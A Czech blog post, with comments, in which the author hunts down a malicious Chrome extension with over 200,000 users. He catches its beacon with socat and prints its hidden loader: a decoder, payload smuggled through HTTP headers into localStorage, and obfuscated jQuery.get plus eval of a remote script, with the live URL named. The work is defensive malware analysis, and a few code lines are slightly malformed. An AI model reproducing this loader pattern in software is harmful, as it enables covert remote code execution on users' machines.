Hledání škodlivého kódu mezi doplňky

Jak nachytat na švestkách škodlivý doplněk prohlížeče? Identifikoval jsem nestandardní chování počítače, zjistil, z jakého doplňku přichází a našel v nevinně vyhlížejícím zdrojovém kódu, které řádky jsou za to odpovědny. Přináším vám zápisek z lovení malwaru.

Před několika dny jsem si povšiml, že jistá stránka se mi připojila na doménu huffily.mydiaconal.com. Zvláštně vyhlížející jméno. O co může jít? V překladu bychom mohli říci: nakvašený můj jáhenský. Vím, že tvůrci malwaru nechávají generovat jména domén náhodně, aby se však podobala existujícím slovům. Zkusil jsem se na doménu připojit, nedala však pražádnou odpověď. Skoro bych řekl, že je nefunkční, že se jedná o omyl některého vývojáře, ale také se může jednat o krycí manévr. Doména sice neodpovídala, nicméně informace dozajista přijímala.

Prohlédl jsem stránky, zda byly zasaženy malwarem, ale nezdálo se mi. A k podezřelé doméně se stránky pak už nepřipojily, ať jsem se snažil sebevíc. Protože v profilu prohlížeče, který jsem použil, je nainstalováno několik doplňků, padlo mi logicky podezření na ně, protože doplňky považuji vedle phishingu za nejčastější slabé místo uživatelova počítače. Jak však zjistit, který z nich může být podezřelý, když nemám jistý způsob, kterým vynutit volání svého nakvašeného jáhna?
Nalíčil jsem past.

V /etc/hosts jsem přesměroval přístup k podezřelé doméně na sebe: 127.0.0.2 huffily.mydiaconal.com. Nechal jsem pak na pozadí běžet příkaz socats, který poslouchá na portu 443. Jakmile se cokoli pokusí kontaktovat našeho podezřelého, objeví se notifikace a do souboru se zapíše obsah komunikace.

sudo socat -v tcp-listen:443,fork,reuseaddr system &>> $FILE &
while
inotifywait -e modify $FILE; do
kdialog --title "TRAP!" --passivepopup "CHŇAP" 10;
done

Na systému Ubuntu se mi kdialog osvědčil lépe než přibalená utilita notify-send, která mlčela, jakmile proces běžel na pozadí. Což bylo nutné, protože past měla čekat několik dní. Konečně však jednou při spuštění podezřelého profilu prohlížeče sklapla. Malware nevolal domů pravidelně, ani po každém spuštění počítače. Ale jakmile se na obrazovce objevilo slůvko ‚TRAP!‘, šel jsem se zvědavě podívat na odposlechnutou komunikaci. K mému zklamání se jednalo pouze o pokus malwaru vyjednat si s protistranou HTTPS handshake, takže žádná zajímavá data neprošla. Nicméně jsem měl jistotu, že malware tkví v některém z doplňků. Vykopíroval jsem si celý profil z cesty /home/$USER/.config/google-chrome/Profile 2/ a prohlížeč násilně ukončil. Vrátil jsem pak profil na místo, spustil Chrome znovu a když se znovu objevilo slovo ‚TRAP!‘, měl jsem v ruce poměrně spolehlivý způsob, jak zopakovat sledovaný jev.
Protože měl profil asi gigabyte a já nevěděl, které soubory jsou podstatné pro nahrazení, užil jsem inkrementální nahrazení pomocí rsync. Při jeho volání se totiž celý souborový strom vrátí do původního stavu, nahradí se však pouze změněné soubory, takže místo přesouvání gigabytu sem a tam se jednalo o přesun několika megabytů. Nyní jsem metodou pokus a omyl mohl vypínat a zapínat jednotlivé doplňky a zkoušet poznat, který vyvolává podezřelé chování. Rychlejší však bylo spustit prohlížeč s rozšířeným výpisem na konzoli, kde je vidět, kdo se k jakým adresám připojuje.


rsync -ah "/tmp/Profile 2/" "/home/$USER/.config/google-chrome/Profile 2/" -r
google-chrome --enable-logging=stderr --v=1

Prst ukázal na rozšíření Video Downloader for FaceBook™, které má víc než 200 000 uživatelů. Kontrola antivirem nic neodhalila, ani namátková prohlídka zdrojového kódu. Chtěl jsem do jeho kódu vložit několik špionážních volání console.error, které by vyzradily jakýkoli pokus připojit se na podezřelou stránku. Editace rozšíření však není bezbolestná. Jakmile změníte jedinou tečku, prohlížeč pozná, že nesedí kontrolní součet, že bylo s rozšířením manipulováno a vypne jej. Bylo třeba si jeho zdrojový kód zkopírovat a ve vývojářském režimu jej přidat jako vlastní nové rozšíření.

Jaké bylo mé překvapení, když se ukázalo, že přístupu k podezřelé stránce ani jedno z přítomných volání funkce new Request nepředchází! Mou pozornost však upoutala nenápadná funkce, strrevsstr.

function insertDecodeFunc() {
String.prototype.strrevsstr = function() {
var c = this;
if (this['length'] % 4 != 0) {
c += ('===').(slice(0, 4 - (this['length'] % 4))
}
c = atob(c['replace'](/\-/g, '+')['replace'](/_/g, '/'));
var f = parseInt(c[0] + c[1], 16);
var f2 = parseInt(c[2], 16);
// ...
console.error("decoded", this, a.join('')); // náš malý špion
return a.join('');
};
}

Podezřelá je zejména tím, že nebylo na první pohled jasné, co dělá. Rozšiřuje textové řetězce o jistý typ dekódování. Což u doplňku stahujícím video může být validní chování, přece jen jsem ale přidal volání console.error na konec funkce, abych zjistil, dochází-li ke korelaci s přístupem na podezřelou stránku a co je případně návratová hodnota funkce.
Trefa do černého. Vstupem funkce (a hodnotou this) je kódováný řetězec FuIG9Ve30tKl0YW0xfcnxCGCJpbEp5fD5iDVAHBF82T21OB1Qm.... Výstupem pak vysoce podezřelý JSON.


{"ee":"eval","jj":"$","gg":"get","uu":"https:\/\/s3.amazonaws.com\/wwwjs\/ga9anf7c53390.js?r=afd8e","cache_c":"1"}

Nejprve – kde se vzal vstup? Pochází z registru localStoarage. To je obecné datové úložiště, které prohlížeče zpřístupňují stránkám a doplňkům. Díky němu se nemusí všechna data obnovovat síťovou komunikací, ale stav aplikace může navázat tam, kde skončil. Jak se payload do localStorage dostal? Doplněk někdy namátkou natáhne přes funkci, která se tváří, že zasílá statistická data – nevinně vyhlížející GIF obrázek. Ten je zřejmě v pořádku. Nicméně doplněk naslouchá spojení k user.ampliacion.xyz a všechny hlavičky (delší deseti znaků) beze změny uloží právě do localStorage.


chrome.webRequest.onCompleted.addListener(function(details) {
details.responseHeaders.forEach(function(header) {
if (header['value'] (&& header['value'].length > 10) {
localStorage[header['name'].toLowerCase()] = header['value'];
}
}
)
}, {urls: ["https://user.ampliacion.xyz/*"], types: ["image"]}, ["responseHeaders"]);

Samotnou nálož pak user.ampliacion.xyz do hlaviček podstrčí pouze při správné konstelaci parametrů – napadený klient řekne svoje ID a čas instalace doplňku. Na jiném místě pak dochází ke čtení localStorage['cache-control'], a protože cache-control se jinde v textu nevyskytuje, analytik může být zmaten. Na nálož se pak zavolá již zmíněná strrevsstr. Celý výstup se pak namapuje na samotnou funkci window.


var str = localStorage['cache-control'];
control = str.strrevsstr();
control = typeof JSON != 'undefined' && JSON.parse && JSON.parse(control);
if (control && control.cache_c) {
for (var key in control) {
window[key] = control[key];
}
checked = true;
break;
}

Co útočník dokázal? Nebezpečná funkce eval, která by na sebe strhla pozornost každého, kdo by do kódu byť nakoukl, je dovedně skryta v proměnné window.ee. Podobně jsou skryta slova jQueryget, takže v kódu daleko od sebe rozeseté příkazy,


window[jj][gg](uu, function(res) {
localStorage['cache_data'] = res;
});
window[ee](localStorage['cache_data']);

které lze považovat pouze za výsledek minimalizace kódu, je ve skutečnosti window.jQuery.get(URL), kterým se natáhne kdoví jaká špína, již pak window.eval ničím nerušen spustí. Když se sami podíváte na https://s3.amazonaws.com/wwwjs/ga9anf7c53390.js, v době psaní tohoto textu stále můžete najít 30 kB dlouhý vzorek malwaru. Používá řadu krycích technik, kde jsou jednotlivé příkazy tokenizovány do stovek lokálních proměnných, které obsahují vždy jen několik písmen příkazu. Nicméně lze poměrně snadno vidět, že přes window.XMLHttpRequest.open kontaktuje naši podezřelou adresu huffily.mydiaconal.com. A co dělá přesně? To není na první pohled jasné, ale není to ani zvlášť důležité. Může dělat totiž už úplně cokoli, co mu majitel domén podstrčí. Může čekat na to, až se objeví zranitelnost prohlížeče, kterou ještě nemáte záplatovánu a skrz kterou získá přístup do vašeho systému.

Dávejte si proto pozor, komu důvěřujete a co si do počítače a telefonu instalujete. Doufáme, že po našem nahlášení začne škodlivý kód brzy detekovat i Chrome web store. Ale jak vidno, dvě stě tisíc uživatelů a oficiální platforma není zárukou toho, že je aplikace bezpečná. Čím senzačnější a masovější aplikace, tím může být hůře. Zároveň malware může být nalepen jako daň na funkčním programu či hře. Protože doplňky však usnadňují život a dovedu si představit, že uživatel radši mávne rukou, než by se zřekl pohodlí, doporučuji vaší pozornosti vypnout nevyužívané doplňky a zapínat je pouze ad hoc.

Autor:

Komentáře (8)

  1. Lukáš říká:

    Zajímavé čtení, díky za něj. 👍

  2. Jakub Urbanec říká:

    namísto socat použijte třeba ncat

    ncat –listen –ssl –append-output -o logfile.log -x hexfile

    vygeneruje SSL certy a doplněk může navázat TLS handshake aby byly vidět HTTP hlavičky

    • Edvard Rejthar říká:

      Uměl byste doporučit způsob, jak obejít, že SSL certy jsou self-signed a tedy nedůvěryhodné?

      I běžný `$ curl https://127.0.0.2` vrací `curl: (60) SSL certificate problem: self signed certificate`. Podobně dle mého by selhal i doplněk. (Selhal, když jsem mu podstrkoval stránku přes nginx.)

    • caracho říká:

      Poridit si vlastni CA, a jeji certifikat dat mezi duveryhodne autority. Pripadne tohle uz je hotove reseni, ktere na detekci podobnych veci pouzivam https://mitmproxy.org/

    • Edvard Rejthar říká:

      Výborný tip, děkuji, mitmproxy jsem neznal!

  3. Edvard Rejtar říká:

    Jak mi šlo o detekci než o komunikaci, tak jsem zůstal u socatu. Děkuju moc, ncat si zapamatuju!

  4. ic říká:

    Jak si člověk všimne, že stránka se připojila na podezřelou doménu? Monitoringem síťové komunikace? To by mi ale nedalo tu spojitost mezi konkrétní stránkou která doménu volá, ne ? Takže nějaký prohlížečový plugin?

    • Edvard Rejthar říká:

      Na tohle žel nemám efektivní odpověď. Ani já jsem nevěděl, co v mém případě zavolalo doménu, byť jsem náhodou viděl, která je to stránka. (I když to nakonec stránka nebyla.)

      Příkazem jako tímhle lze monitorovat všechna URL, ke kterým se prohlížeč připojí:

      google-chrome –enable-logging=stderr –v=1 2>&1 | grep -Eo ‚https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)‘

Zanechte komentář

Všechny údaje jsou povinné. E-mail nebude zobrazen.

This site uses Akismet to reduce spam. Learn how your comment data is processed.